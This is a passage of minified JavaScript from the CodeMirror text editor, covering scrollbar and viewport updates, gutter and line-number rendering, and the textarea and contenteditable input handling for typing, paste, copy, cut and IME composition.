H.scrollbarModel[gi.options.scrollbarStyle](function(gj){gi.display.wrapper.insertBefore(gj,gi.display.scrollbarFiller);bY(gj,"mousedown",function(){if(gi.state.focused){setTimeout(function(){gi.display.input.focus()},0)}});gj.setAttribute("cm-not-content","true")},function(gk,gj){if(gj=="horizontal"){bF(gi,gk)}else{N(gi,gk)}},gi);if(gi.display.scrollbars.addClass){fB(gi.display.wrapper,gi.display.scrollbars.addClass)}}function eZ(gk,gm){if(!gm){gm=dB(gk)}var gj=gk.display.barWidth,gi=gk.display.barHeight;aU(gk,gm);for(var gl=0;gl<4&&gj!=gk.display.barWidth||gi!=gk.display.barHeight;gl++){if(gj!=gk.display.barWidth&&gk.options.lineWrapping){ba(gk)}aU(gk,dB(gk));gj=gk.display.barWidth;gi=gk.display.barHeight}}function aU(gi,gj){var gl=gi.display;var gk=gl.scrollbars.update(gj);gl.sizer.style.paddingRight=(gl.barWidth=gk.right)+"px";gl.sizer.style.paddingBottom=(gl.barHeight=gk.bottom)+"px";if(gk.right&&gk.bottom){gl.scrollbarFiller.style.display="block";gl.scrollbarFiller.style.height=gk.bottom+"px";gl.scrollbarFiller.style.width=gk.right+"px"}else{gl.scrollbarFiller.style.display=""}if(gk.bottom&&gi.options.coverGutterNextToScrollbar&&gi.options.fixedGutter){gl.gutterFiller.style.display="block";gl.gutterFiller.style.height=gk.bottom+"px";gl.gutterFiller.style.width=gj.gutterWidth+"px"}else{gl.gutterFiller.style.display=""}}function b7(gl,gp,gk){var gm=gk&&gk.top!=null?Math.max(0,gk.top):gl.scroller.scrollTop;gm=Math.floor(gm-e9(gl));var gi=gk&&gk.bottom!=null?gk.bottom:gm+gl.wrapper.clientHeight;var gn=bH(gp,gm),go=bH(gp,gi);if(gk&&gk.ensure){var gj=gk.ensure.from.line,gq=gk.ensure.to.line;if(gj<gn){gn=gj;go=bH(gp,bN(fg(gp,gj))+gl.wrapper.clientHeight)}else{if(Math.min(gq,gp.lastLine())>=go){gn=bH(gp,bN(fg(gp,gq))-gl.wrapper.clientHeight);go=gq}}}return{from:gn,to:Math.max(go,gn+1)}}function eF(gq){var go=gq.display,gp=go.view;if(!go.alignWidgets&&(!go.gutters.firstChild||!gq.options.fixedGutter)){return}var gm=dY(go)-go.scroller.scrollLeft+gq.doc.scrollLeft;var gi=go.gutters.offsetWidth,gj=gm+"px";for(var gl=0;gl<gp.length;gl++){if(!gp[gl].hidden){if(gq.options.fixedGutter&&gp[gl].gutter){gp[gl].gutter.style.left=gj}var gn=gp[gl].alignable;if(gn){for(var gk=0;gk<gn.length;gk++){gn[gk].style.left=gj}}}}if(gq.options.fixedGutter){go.gutters.style.left=(gm+gi)+"px"}}function d6(gi){if(!gi.options.lineNumbers){return false}var gn=gi.doc,gj=et(gi.options,gn.first+gn.size-1),gm=gi.display;if(gj.length!=gm.lineNumChars){var go=gm.measure.appendChild(f3("div",[f3("div",gj)],"CodeMirror-linenumber CodeMirror-gutter-elt"));var gk=go.firstChild.offsetWidth,gl=go.offsetWidth-gk;gm.lineGutter.style.width="";gm.lineNumInnerWidth=Math.max(gk,gm.lineGutter.offsetWidth-gl)+1;gm.lineNumWidth=gm.lineNumInnerWidth+gl;gm.lineNumChars=gm.lineNumInnerWidth?gj.length:-1;gm.lineGutter.style.width=gm.lineNumWidth+"px";c5(gi);return true}return false}function et(gi,gj){return String(gi.lineNumberFormatter(gj+gi.firstLineNumber))}function dY(gi){return gi.scroller.getBoundingClientRect().left-gi.sizer.getBoundingClientRect().left}function aI(gj,gi,gk){var gl=gj.display;this.viewport=gi;this.visible=b7(gl,gj.doc,gi);this.editorIsHidden=!gl.wrapper.offsetWidth;this.wrapperHeight=gl.wrapper.clientHeight;this.wrapperWidth=gl.wrapper.clientWidth;this.oldDisplayWidth=dm(gj);this.force=gk;this.dims=fe(gj);this.events=[]}aI.prototype.signal=function(gj,gi){if(fj(gj,gi)){this.events.push(arguments)}};aI.prototype.finish=function(){for(var gi=0;gi<this.events.length;gi++){aE.apply(null,this.events[gi])}};function J(gi){var gj=gi.display;if(!gj.scrollbarsClipped&&gj.scroller.offsetWidth){gj.nativeBarWidth=gj.scroller.offsetWidth-gj.scroller.clientWidth;gj.heightForcer.style.height=cU(gi)+"px";gj.sizer.style.marginBottom=-gj.nativeBarWidth+"px";gj.sizer.style.borderRightWidth=cU(gi)+"px";gj.scrollbarsClipped=true}}function B(gr,gl){var gm=gr.display,gq=gr.doc;if(gl.editorIsHidden){ey(gr);return false}if(!gl.force&&gl.visible.from>=gm.viewFrom&&gl.visible.to<=gm.viewTo&&(gm.updateLineNumbers==null||gm.updateLineNumbers>=gm.viewTo)&&gm.renderedView==gm.view&&dc(gr)==0){return false}if(d6(gr)){ey(gr);gl.dims=fe(gr)}var gk=gq.first+gq.size;var go=Math.max(gl.visible.from-gr.options.viewportMargin,gq.first);var gp=Math.min(gk,gl.visible.to+gr.options.viewportMargin);if(gm.viewFrom<go&&go-gm.viewFrom<20){go=Math.max(gq.first,gm.viewFrom)}if(gm.viewTo>gp&&gm.viewTo-gp<20){gp=Math.min(gk,gm.viewTo)}if(a8){go=aW(gr.doc,go);gp=d3(gr.doc,gp)}var gj=go!=gm.viewFrom||gp!=gm.viewTo||gm.lastWrapHeight!=gl.wrapperHeight||gm.lastWrapWidth!=gl.wrapperWidth;cS(gr,go,gp);gm.viewOffset=bN(fg(gr.doc,gm.viewFrom));gr.display.mover.style.top=gm.viewOffset+"px";var gi=dc(gr);if(!gj&&gi==0&&!gl.force&&gm.renderedView==gm.view&&(gm.updateLineNumbers==null||gm.updateLineNumbers>=gm.viewTo)){return false}var gn=dP();if(gi>4){gm.lineDiv.style.display="none"}cn(gr,gm.updateLineNumbers,gl.dims);if(gi>4){gm.lineDiv.style.display=""}gm.renderedView=gm.view;if(gn&&dP()!=gn&&gn.offsetHeight){gn.focus()}d2(gm.cursorDiv);d2(gm.selectionDiv);gm.gutters.style.height=0;if(gj){gm.lastWrapHeight=gl.wrapperHeight;gm.lastWrapWidth=gl.wrapperWidth;eg(gr,400)}gm.updateLineNumbers=null;return true}function ck(gj,gm){var gi=gm.viewport;for(var gl=true;;gl=false){if(!gl||!gj.options.lineWrapping||gm.oldDisplayWidth==dm(gj)){if(gi&&gi.top!=null){gi={top:Math.min(gj.doc.height+bJ(gj.display)-cW(gj),gi.top)}}gm.visible=b7(gj.display,gj.doc,gi);if(gm.visible.from>=gj.display.viewFrom&&gm.visible.to<=gj.display.viewTo){break}}if(!B(gj,gm)){break}ba(gj);var gk=dB(gj);bD(gj);dA(gj,gk);eZ(gj,gk)}gm.signal(gj,"update",gj);if(gj.display.viewFrom!=gj.display.reportedViewFrom||gj.display.viewTo!=gj.display.reportedViewTo){gm.signal(gj,"viewportChange",gj,gj.display.viewFrom,gj.display.viewTo);gj.display.reportedViewFrom=gj.display.viewFrom;gj.display.reportedViewTo=gj.display.viewTo}}function dU(gj,gi){var gl=new aI(gj,gi);if(B(gj,gl)){ba(gj);ck(gj,gl);var gk=dB(gj);bD(gj);dA(gj,gk);eZ(gj,gk);gl.finish()}}function dA(gi,gj){gi.display.sizer.style.minHeight=gj.docHeight+"px";var gk=gj.docHeight+gi.display.barHeight;gi.display.heightForcer.style.top=gk+"px";gi.display.gutters.style.height=Math.max(gk+cU(gi),gj.clientHeight)+"px"}function ba(gp){var gn=gp.display;var gj=gn.lineDiv.offsetTop;for(var gk=0;gk<gn.view.length;gk++){var gq=gn.view[gk],gr;if(gq.hidden){continue}if(dL&&k<8){var gm=gq.node.offsetTop+gq.node.offsetHeight;gr=gm-gj;gj=gm}else{var gl=gq.node.getBoundingClientRect();gr=gl.bottom-gl.top}var go=gq.line.height-gr;if(gr<2){gr=aY(gn)}if(go>0.001||go<-0.001){f6(gq.line,gr);cc(gq.line);if(gq.rest){for(var gi=0;gi<gq.rest.length;gi++){cc(gq.rest[gi])}}}}}function cc(gi){if(gi.widgets){for(var gj=0;gj<gi.widgets.length;++gj){gi.widgets[gj].height=gi.widgets[gj].node.offsetHeight}}}function fe(gi){var gn=gi.display,gl={},gk={};var gm=gn.gutters.clientLeft;for(var go=gn.gutters.firstChild,gj=0;go;go=go.nextSibling,++gj){gl[gi.options.gutters[gj]]=go.offsetLeft+go.clientLeft+gm;gk[gi.options.gutters[gj]]=go.clientWidth}return{fixedPos:dY(gn),gutterTotalWidth:gn.gutters.offsetWidth,gutterLeft:gl,gutterWidth:gk,wrapperWidth:gn.wrapper.clientWidth}}function cn(gt,gk,gs){var gp=gt.display,gv=gt.options.lineNumbers;var gi=gp.lineDiv,gu=gi.firstChild;function go(gx){var gw=gx.nextSibling;if(c1&&b8&&gt.display.currentWheelTarget==gx){gx.style.display="none"}else{gx.parentNode.removeChild(gx)}return gw}var gq=gp.view,gn=gp.viewFrom;for(var gl=0;gl<gq.length;gl++){var gm=gq[gl];if(gm.hidden){}else{if(!gm.node||gm.node.parentNode!=gi){var gj=aF(gt,gm,gn,gs);gi.insertBefore(gj,gu)}else{while(gu!=gm.node){gu=go(gu)}var gr=gv&&gk!=null&&gk<=gn&&gm.lineNumber;if(gm.changes){if(di(gm.changes,"gutter")>-1){gr=false}ab(gt,gm,gn,gs)}if(gr){d2(gm.lineNumber);gm.lineNumber.appendChild(document.createTextNode(et(gt.options,gn)))}gu=gm.node.nextSibling}}gn+=gm.size}while(gu){gu=go(gu)}}function ab(gi,gk,gm,gn){for(var gj=0;gj<gk.changes.length;gj++){var gl=gk.changes[gj];if(gl=="text"){fm(gi,gk)}else{if(gl=="gutter"){dg(gi,gk,gm,gn)}else{if(gl=="class"){dH(gk)}else{if(gl=="widget"){ao(gi,gk,gn)}}}}}gk.changes=null}function fI(gi){if(gi.node==gi.text){gi.node=f3("div",null,null,"position: relative");if(gi.text.parentNode){gi.text.parentNode.replaceChild(gi.node,gi.text)}gi.node.appendChild(gi.text);if(dL&&k<8){gi.node.style.zIndex=2}}return gi.node}function ew(gj){var gi=gj.bgClass?gj.bgClass+" "+(gj.line.bgClass||""):gj.line.bgClass;if(gi){gi+=" CodeMirror-linebackground"}if(gj.background){if(gi){gj.background.className=gi}else{gj.background.parentNode.removeChild(gj.background);gj.background=null}}else{if(gi){var gk=fI(gj);gj.background=gk.insertBefore(f3("div",null,gi),gk.firstChild)}}}function dW(gi,gj){var gk=gi.display.externalMeasured;if(gk&&gk.line==gj.line){gi.display.externalMeasured=null;gj.measure=gk.measure;return gk.built}return eS(gi,gj)}function fm(gi,gl){var gj=gl.text.className;var gk=dW(gi,gl);if(gl.text==gl.node){gl.node=gk.pre}gl.text.parentNode.replaceChild(gk.pre,gl.text);gl.text=gk.pre;if(gk.bgClass!=gl.bgClass||gk.textClass!=gl.textClass){gl.bgClass=gk.bgClass;gl.textClass=gk.textClass;dH(gl)}else{if(gj){gl.text.className=gj}}}function dH(gj){ew(gj);if(gj.line.wrapClass){fI(gj).className=gj.line.wrapClass}else{if(gj.node!=gj.text){gj.node.className=""}}var gi=gj.textClass?gj.textClass+" "+(gj.line.textClass||""):gj.line.textClass;gj.text.className=gi||""}function dg(gq,go,gn,gp){if(go.gutter){go.node.removeChild(go.gutter);go.gutter=null}var gl=go.line.gutterMarkers;if(gq.options.lineNumbers||gl){var gj=fI(go);var gm=go.gutter=f3("div",null,"CodeMirror-gutter-wrapper","left: "+(gq.options.fixedGutter?gp.fixedPos:-gp.gutterTotalWidth)+"px; width: "+gp.gutterTotalWidth+"px");gq.display.input.setUneditable(gm);gj.insertBefore(gm,go.text);if(go.line.gutterClass){gm.className+=" "+go.line.gutterClass}if(gq.options.lineNumbers&&(!gl||!gl["CodeMirror-linenumbers"])){go.lineNumber=gm.appendChild(f3("div",et(gq.options,gn),"CodeMirror-linenumber CodeMirror-gutter-elt","left: "+gp.gutterLeft["CodeMirror-linenumbers"]+"px; width: "+gq.display.lineNumInnerWidth+"px"))}if(gl){for(var gk=0;gk<gq.options.gutters.length;++gk){var gi=gq.options.gutters[gk],gr=gl.hasOwnProperty(gi)&&gl[gi];if(gr){gm.appendChild(f3("div",[gr],"CodeMirror-gutter-elt","left: "+gp.gutterLeft[gi]+"px; width: "+gp.gutterWidth[gi]+"px"))}}}}}function ao(gi,gj,gm){if(gj.alignable){gj.alignable=null}for(var gl=gj.node.firstChild,gk;gl;gl=gk){var gk=gl.nextSibling;if(gl.className=="CodeMirror-linewidget"){gj.node.removeChild(gl)}}fu(gi,gj,gm)}function aF(gi,gk,gl,gm){var gj=dW(gi,gk);gk.text=gk.node=gj.pre;if(gj.bgClass){gk.bgClass=gj.bgClass}if(gj.textClass){gk.textClass=gj.textClass}dH(gk);dg(gi,gk,gl,gm);fu(gi,gk,gm);return gk.node}function fu(gi,gk,gl){f8(gi,gk.line,gk,gl,true);if(gk.rest){for(var gj=0;gj<gk.rest.length;gj++){f8(gi,gk.rest[gj],gk,gl,false)}}}function f8(gq,gr,gn,gp,gl){if(!gr.widgets){return}var gi=fI(gn);for(var gk=0,go=gr.widgets;gk<go.length;++gk){var gm=go[gk],gj=f3("div",[gm.node],"CodeMirror-linewidget");if(!gm.handleMouseEvents){gj.setAttribute("cm-ignore-events","true")}bG(gm,gj,gn,gp);gq.display.input.setUneditable(gj);if(gl&&gm.above){gi.insertBefore(gj,gn.gutter||gn.text)}else{gi.appendChild(gj)}ae(gm,"redraw")}}function bG(gl,gk,gi,gm){if(gl.noHScroll){(gi.alignable||(gi.alignable=[])).push(gk);var gj=gm.wrapperWidth;gk.style.left=gm.fixedPos+"px";if(!gl.coverGutter){gj-=gm.gutterTotalWidth;gk.style.paddingLeft=gm.gutterTotalWidth+"px"}gk.style.width=gj+"px"}if(gl.coverGutter){gk.style.zIndex=5;gk.style.position="relative";if(!gl.noHScroll){gk.style.marginLeft=-gm.gutterTotalWidth+"px"}}}var W=H.Pos=function(gi,gj){if(!(this instanceof W)){return new W(gi,gj)}this.line=gi;this.ch=gj};var cg=H.cmpPos=function(gj,gi){return gj.line-gi.line||gj.ch-gi.ch};function cj(gi){return W(gi.line,gi.ch)}function by(gj,gi){return cg(gj,gi)<0?gi:gj}function ar(gj,gi){return cg(gj,gi)<0?gj:gi}function r(gi){if(!gi.state.focused){gi.display.input.focus();cC(gi)}}function aj(gi){return gi.options.readOnly||gi.doc.cantEdit}var bn=null;function fZ(gw,gm,gk,gj,gv){var gu=gw.doc;gw.display.shift=false;if(!gj){gj=gu.sel}var gl=gw.state.pasteIncoming||gv=="paste";var gp=a1(gm),gi=null;if(gl&&gj.ranges.length>1){if(bn&&bn.join("\n")==gm){gi=gj.ranges.length%bn.length==0&&bT(bn,a1)}else{if(gp.length==gj.ranges.length){gi=bT(gp,function(gx){return[gx]})}}}for(var gn=gj.ranges.length-1;gn>=0;gn--){var go=gj.ranges[gn];var gt=go.from(),gs=go.to();if(go.empty()){if(gk&&gk>0){gt=W(gt.line,gt.ch-gk)}else{if(gw.state.overwrite&&!gl){gs=W(gs.line,Math.min(fg(gu,gs.line).text.length,gs.ch+fH(gp).length))}}}var gq=gw.curOp.updateInput;var gr={from:gt,to:gs,text:gi?gi[gn%gi.length]:gp,origin:gv||(gl?"paste":gw.state.cutIncoming?"cut":"+input")};bh(gw.doc,gr);ae(gw,"inputRead",gw,gr)}if(gm&&!gl){fW(gw,gm)}fG(gw);gw.curOp.updateInput=gq;gw.curOp.typing=true;gw.state.pasteIncoming=gw.state.cutIncoming=false}function bb(gk,gi){var gj=gk.clipboardData&&gk.clipboardData.getData("text/plain");if(gj){gk.preventDefault();cN(gi,function(){fZ(gi,gj,0,null,"paste")});return true}}function fW(gi,gm){if(!gi.options.electricChars||!gi.options.smartIndent){return}var gn=gi.doc.sel;for(var gl=gn.ranges.length-1;gl>=0;gl--){var gj=gn.ranges[gl];if(gj.head.ch>100||(gl&&gn.ranges[gl-1].head.line==gj.head.line)){continue}var go=gi.getModeAt(gj.head);var gp=false;if(go.electricChars){for(var gk=0;gk<go.electricChars.length;gk++){if(gm.indexOf(go.electricChars.charAt(gk))>-1){gp=ad(gi,gj.head.line,"smart");break}}}else{if(go.electricInput){if(go.electricInput.test(fg(gi.doc,gj.head.line).text.slice(0,gj.head.ch))){gp=ad(gi,gj.head.line,"smart")}}}if(gp){ae(gi,"electricInput",gi,gj.head.line)}}}function dk(gi){var gn=[],gk=[];for(var gl=0;gl<gi.doc.sel.ranges.length;gl++){var gj=gi.doc.sel.ranges[gl].head.line;var gm={anchor:W(gj,0),head:W(gj+1,0)};gk.push(gm);gn.push(gi.getRange(gm.anchor,gm.head))}return{text:gn,ranges:gk}}function fQ(gi){gi.setAttribute("autocorrect","off");gi.setAttribute("autocapitalize","off");gi.setAttribute("spellcheck","false")}function Y(gi){this.cm=gi;this.prevInput="";this.pollingFast=false;this.polling=new gh();this.inaccurateSelection=false;this.hasSelection=false;this.composing=null}function aX(){var gi=f3("textarea",null,null,"position: absolute; padding: 0; width: 1px; height: 1em; outline: none");var gj=f3("div",[gi],null,"overflow: hidden; position: relative; width: 3px; height: 0px;");if(c1){gi.style.width="1000px"}else{gi.setAttribute("wrap","off")}if(e2){gi.style.border="1px solid black"}fQ(gi);return gj}Y.prototype=aN({init:function(gk){var gj=this,gi=this.cm;var gn=this.wrapper=aX();var gl=this.textarea=gn.firstChild;gk.wrapper.insertBefore(gn,gk.wrapper.firstChild);if(e2){gl.style.width="0px"}bY(gl,"input",function(){if(dL&&k>=9&&gj.hasSelection){gj.hasSelection=null}gj.poll()});bY(gl,"paste",function(go){if(bb(go,gi)){return true}gi.state.pasteIncoming=true;gj.fastPoll()});function gm(gp){if(gi.somethingSelected()){bn=gi.getSelections();if(gj.inaccurateSelection){gj.prevInput="";gj.inaccurateSelection=false;gl.value=bn.join("\n");dM(gl)}}else{if(!gi.options.lineWiseCopyCut){return}else{var go=dk(gi);bn=go.text;if(gp.type=="cut"){gi.setSelections(go.ranges,null,Z)}else{gj.prevInput="";gl.value=go.text.join("\n");dM(gl)}}}if(gp.type=="cut"){gi.state.cutIncoming=true}}bY(gl,"cut",gm);bY(gl,"copy",gm);bY(gk.scroller,"paste",function(go){if(bc(gk,go)){return}gi.state.pasteIncoming=true;gj.focus()});bY(gk.lineSpace,"selectstart",function(go){if(!bc(gk,go)){cH(go)}});bY(gl,"compositionstart",function(){var go=gi.getCursor("from");gj.composing={start:go,range:gi.markText(go,gi.getCursor("to"),{className:"CodeMirror-composing"})}});bY(gl,"compositionend",function(){if(gj.composing){gj.poll();gj.composing.range.clear();gj.composing=null}})},prepareSelection:function(){var gj=this.cm,gn=gj.display,gm=gj.doc;var gi=fJ(gj);if(gj.options.moveInputWithCursor){var go=dV(gj,gm.sel.primary().head,"div");var gk=gn.wrapper.getBoundingClientRect(),gl=gn.lineDiv.getBoundingClientRect();gi.teTop=Math.max(0,Math.min(gn.wrapper.clientHeight-10,go.top+gl.top-gk.top));gi.teLeft=Math.max(0,Math.min(gn.wrapper.clientWidth-10,go.left+gl.left-gk.left))}return gi},showSelection:function(gk){var gi=this.cm,gj=gi.display;bS(gj.cursorDiv,gk.cursors);bS(gj.selectionDiv,gk.selection);if(gk.teTop!=null){this.wrapper.style.top=gk.teTop+"px";this.wrapper.style.left=gk.teLeft+"px"}},reset:function(gm){if(this.contextMenuPending){return}var gj,gl,gi=this.cm,go=gi.doc;if(gi.somethingSelected()){this.prevInput="";var gk=go.sel.primary();gj=db&&(gk.to().line-gk.from().line>100||(gl=gi.getSelection()).length>1000);var gn=gj?"-":gl||gi.getSelection();this.textarea.value=gn;if(gi.state.focused){dM(this.textarea)}if(dL&&k>=9){this.hasSelection=gn}}else{if(!gm){this.prevInput=this.textarea.value="";if(dL&&k>=9){this.hasSelection=null}}}this.inaccurateSelection=gj},getField:function(){return this.textarea},supportsTouch:function(){return false},focus:function(){if(this.cm.options.readOnly!="nocursor"&&(!eh||dP()!=this.textarea)){try{this.textarea.focus()}catch(gi){}}},blur:function(){this.textarea.blur()},resetPosition:function(){this.wrapper.style.top=this.wrapper.style.left=0},receivedFocus:function(){this.slowPoll()},slowPoll:function(){var gi=this;if(gi.pollingFast){return}gi.polling.set(this.cm.options.pollInterval,function(){gi.poll();if(gi.cm.state.focused){gi.slowPoll()}})},fastPoll:function(){var gj=false,gi=this;gi.pollingFast=true;function gk(){var gl=gi.poll();if(!gl&&!gj){gj=true;gi.polling.set(60,gk)}else{gi.pollingFast=false;gi.slowPoll()}}gi.polling.set(20,gk)},poll:function(){var gi=this.cm,gl=this.textarea,gm=this.prevInput;if(this.contextMenuPending||!gi.state.focused||(bt(gl)&&!gm)||aj(gi)||gi.options.disableInput||gi.state.keySeq){return false}var go=gl.value;if(go==gm&&!gi.somethingSelected()){return false}if(dL&&k>=9&&this.hasSelection===go||b8&&/[\uf700-\uf7ff]/.test(go)){gi.display.input.reset();return false}if(gi.doc.sel==gi.display.selForContextMenu){var gn=go.charCodeAt(0);if(gn==8203&&!gm){gm="\u200b"}if(gn==8666){this.reset();return this.cm.execCommand("undo")}}var gp=0,gj=Math.min(gm.length,go.length);while(gp<gj&&gm.charCodeAt(gp)==go.charCodeAt(gp)){++gp}var gk=this;cN(gi,function(){fZ(gi,go.slice(gp),gm.length-gp,null,gk.composing?"*compose":null);if(go.length>1000||go.indexOf("\n")>-1){gl.value=gk.prevInput=""}else{gk.prevInput=go}if(gk.composing){gk.composing.range.clear();gk.composing.range=gi.markText(gk.composing.start,gi.getCursor("to"),{className:"CodeMirror-composing"})}});return true},ensurePolled:function(){if(this.pollingFast&&this.poll()){this.pollingFast=false}},onKeyPress:function(){if(dL&&k>=9){this.hasSelection=null}this.fastPoll()},onContextMenu:function(gn){var gs=this,gt=gs.cm,gp=gt.display,gj=gs.textarea;var gr=co(gt,gn),gi=gp.scroller.scrollTop;if(!gr||d4){return}var gm=gt.options.resetSelectionOnContextMenu;if(gm&&gt.doc.sel.contains(gr)==-1){c3(gt,bV)(gt.doc,eT(gr),Z)}var go=gj.style.cssText;gs.wrapper.style.position="absolute";gj.style.cssText="position: fixed; width: 30px; height: 30px; top: "+(gn.clientY-5)+"px; left: "+(gn.clientX-5)+"px; z-index: 1000; background: "+(dL?"rgba(255, 255, 255, .05)":"transparent")+"; outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);";if(c1){var gu=window.scrollY}gp.input.focus();if(c1){window.scrollTo(null,gu)}gp.input.reset();if(!gt.somethingSelected()){gj.value=gs.prevInput=" "}gs.contextMenuPending=true;gp.selForContextMenu=gt.doc.sel;clearTimeout(gp.detectingSelectAll);function gl(){if(gj.selectionStart!=null){var gv=gt.somethingSelected();var gw="\u200b"+(gv?gj.value:"");gj.value="\u21da";gj.value=gw;gs.prevInput=gv?"":"\u200b";gj.selectionStart=1;gj.selectionEnd=gw.length;gp.selForContextMenu=gt.doc.sel}}function gq(){gs.contextMenuPending=false;gs.wrapper.style.position="relative";gj.style.cssText=go;if(dL&&k<9){gp.scrollbars.setScrollTop(gp.scroller.scrollTop=gi)}if(gj.selectionStart!=null){if(!dL||(dL&&k<9)){gl()}var gv=0,gw=function(){if(gp.selForContextMenu==gt.doc.sel&&gj.selectionStart==0&&gj.selectionEnd>0&&gs.prevInput=="\u200b"){c3(gt,eE.selectAll)(gt)}else{if(gv++<10){gp.detectingSelectAll=setTimeout(gw,500)}else{gp.input.reset()}}};gp.detectingSelectAll=setTimeout(gw,200)}}if(dL&&k>=9){gl()}if(ga){es(gn);var gk=function(){ee(window,"mouseup",gk);setTimeout(gq,20)};bY(window,"mouseup",gk)}else{setTimeout(gq,50)}},setUneditable:fV,needsContentAttribute:false},Y.prototype);function dw(gi){this.cm=gi;this.lastAnchorNode=this.lastAnchorOffset=this.lastFocusNode=this.lastFocusOffset=null;this.polling=new gh();this.gracePeriod=false}dw.prototype=aN({init:function(gl){var gk=this,gi=gk.cm;var gm=gk.div=gl.lineDiv;gm.contentEditable="true";fQ(gm);bY(gm,"paste",function(gn){bb(gn,gi)});bY(gm,"compositionstart",function(gr){var gq=gr.data;gk.composing={sel:gi.doc.sel,data:gq,startData:gq};if(!gq){return}var go=gi.doc.sel.primary();var gn=gi.getLine(go.head.line);var gp=gn.indexOf(gq,Math.max(0,go.head.ch-gq.length));if(gp>-1&&gp<=go.head.ch){gk.composing.sel=eT(W(go.head.line,gp),W(go.head.line,gp+gq.length))}});bY(gm,"compositionupdate",function(gn){gk.composing.data=gn.data});bY(gm,"compositionend",function(go){var gn=gk.composing;if(!gn){return}if(go.data!=gn.startData&&!/\u200b/.test(go.data)){gn.data=go.data}setTimeout(function(){if(!gn.handled){gk.applyComposition(gn)}if(gk.composing==gn){gk.composing=null}},50)});bY(gm,"touchstart",function(){gk.forceCompositionEnd()});bY(gm,"input",function(){if(gk.composing){return}if(!gk.pollContent()){cN(gk.cm,function(){ah(gi)})}});function gj(gq){if(gi.somethingSelected()){bn=gi.getSelections();if(gq.type=="cut"){gi.replaceSelection("",null,"cut")}}else{if(!gi.options.lineWiseCopyCut){return}else{var go=dk(gi);bn=go.text;if(gq.type=="cut"){gi.operation(function(){gi.setSelections(go.ranges,0,Z);gi.replaceSelection("",null,"cut")})}}}if(gq.clipboardData&&!e2){gq.preventDefault();gq.clipboardData.clearData();gq.clipboardData.setData("text/plain",bn.join("\n"))}else{var gp=aX(),gr=gp.firstChild;gi.display.lineSpace.insertBefore(gp,gi.display.lineSpace.firstChild);gr.value=bn.join("\n");var gn=document.activeElement;dM(gr);setTimeout(function(){gi.display.lineSpace.removeChild(gp);gn.focus()},50)}}bY(gm,"copy",gj);bY(gm,"cut",gj)},prepareSelection:function(){var gi=fJ(this.cm,false);gi.focus=this.cm.state.focused;return gi},showSelection:function(gi){if(!gi||!this.cm.display.view.length){return}if(gi.focus){this.showPrimarySelection()}this.showMultipleSelections(gi)},showPrimarySelection:function(){var gm=window.getSelection(),gp=this.cm.doc.sel.primary();var gn=az(this.cm,gm.anchorNode,gm.anchorOffset);var gr=az(this.cm,gm.focusNode,gm.focusOffset);if(gn&&!gn.bad&&gr&&!gr.bad&&cg(ar(gn,gr),gp.from())==0&&cg(by(gn,gr),gp.to())==0){return}var gl=cA(this.cm,gp.from());var gq=cA(this.cm,gp.to());if(!gl&&!gq){return}var gt=this.cm.display.view;var go=gm.rangeCount&&gm.getRangeAt(0);if(!gl){gl={node:gt[0].measure.map[2],offset:0}}else{if(!gq){var gk=gt[gt.length-1].measure;var gj=gk.maps?gk.maps[gk.maps.length-1]:gk.map;gq={node:gj[gj.length-1],offset:gj[gj.length-2]-gj[gj.length-3]}}}try{var gi=cm(gl.node,gl.offset,gq.offset,gq.node)}catch(gs){}if(gi){gm.removeAllRanges();gm.addRange(gi);if(go&&gm.anchorNode==null){gm.addRange(go)}else{if(cp){this.startGracePeriod()}}}this.rememberSelection()},startGracePeriod:function(){var gi=this;clearTimeout(this.gracePeriod);this.gracePeriod=setTimeout(function(){gi.gracePeriod=false;if(gi.selectionChanged()){gi.cm.operation(function(){gi.cm.curOp.selectionChanged=true})}},20)},showMultipleSelections:function(gi){bS(this.cm.display.cursorDiv,gi.cursors);bS(this.cm.display.selectionDiv,gi.selection)},rememberSelection:function(){var gi=window.getSelection();this.lastAnchorNode=gi.anchorNode;this.lastAnchorOffset=gi.anchorOffset;this.lastFocusNode=gi.focusNode;this.lastFocusOffset=gi.focusOffset},selectionInEditor:function(){var gj=window.getSelection();if(!gj.rangeCount){return false}var gi=gj.getRangeAt(0).commonAncestorContainer;return gb(this.div,gi)},focus:function(){if(this.cm.options.readOnly!="nocursor"){this.div.focus()}},blur:function(){this.div.blur()},getField:function(){return this.div},supportsTouch:function(){return true},receivedFocus:function(){var gi=this;if(this.selectionInEditor()){this.pollSelection()}else{cN(this.cm,function(){gi.cm.curOp.selectionChanged=true})}function gj(){if(gi.cm.state.focused){gi.pollSelection();gi.polling.set(gi.cm.options.pollInterval,gj)}}this.polling.set(this.cm.options.pollInterval,gj)},selectionChanged:function(){var gi=window.getSelection();return gi.anchorNode!=this.lastAnchorNode||gi.anchorOffset!=this.lastAnchorOffset||gi.focusNode!=this.lastFocusNode||gi.focusOffset!=this.lastFocusOffset},pollSelection:function(){if(!this.composing&&!this.gracePeriod&&this.selectionChanged()){var gl=window.getSelection(),gi=this.cm;this.rememberSelection();var gj=az(gi,gl.anchorNode,gl.anchorOffset);var gk=az(gi,gl.focusNode,gl.focusOffset);if(gj&&gk){cN(gi,function(){bV(gi.doc,eT(gj,gk),Z);if(gj.bad||gk.bad){gi.curOp.selectionChanged=true}})}}},pollContent:function(){var gs=this.cm,gC=gs.display,gA=gs.doc.sel.primary();var gB=gA.from(),gm=gA.to();if(gB.line<gC.viewFrom||gm.line>gC.viewTo-1){return false}var gp;if(gB.line==gC.viewFrom||(gp=ds(gs,gB.line))==0){var gn=bO(gC.view[0].line);var gr=gC.view[0].node}else{var gn=bO(gC.view[gp].line);var gr=gC.view[gp-1].node.nextSibling}var gz=ds(gs,gm.line);if(gz==gC.view.length-1){var gu=gC.viewTo-1;var gx=gC.lineDiv.lastChild}else{var gu=bO(gC.view[gz+1].line)-1;var gx=gC.view[gz+1].node.previousSibling}var gD=a1(f0(gs,gr,gx,gn,gu));var gw=f5(gs.doc,W(gn,0),W(gu,fg(gs.doc,gu).text.length));while(gD.length>1&&gw.length>1){if(fH(gD)==fH(gw)){gD.pop();gw.pop();gu--}else{if(gD[0]==gw[0]){gD.shift();gw.shift();gn++}else{break}}}var gy=0,gk=0;var gt=gD[0],gj=gw[0],gi=Math.min(gt.length,gj.length);while(gy<gi&&gt.charCodeAt(gy)==gj.charCodeAt(gy)){++gy}var gq=fH(gD),gE=fH(gw);var 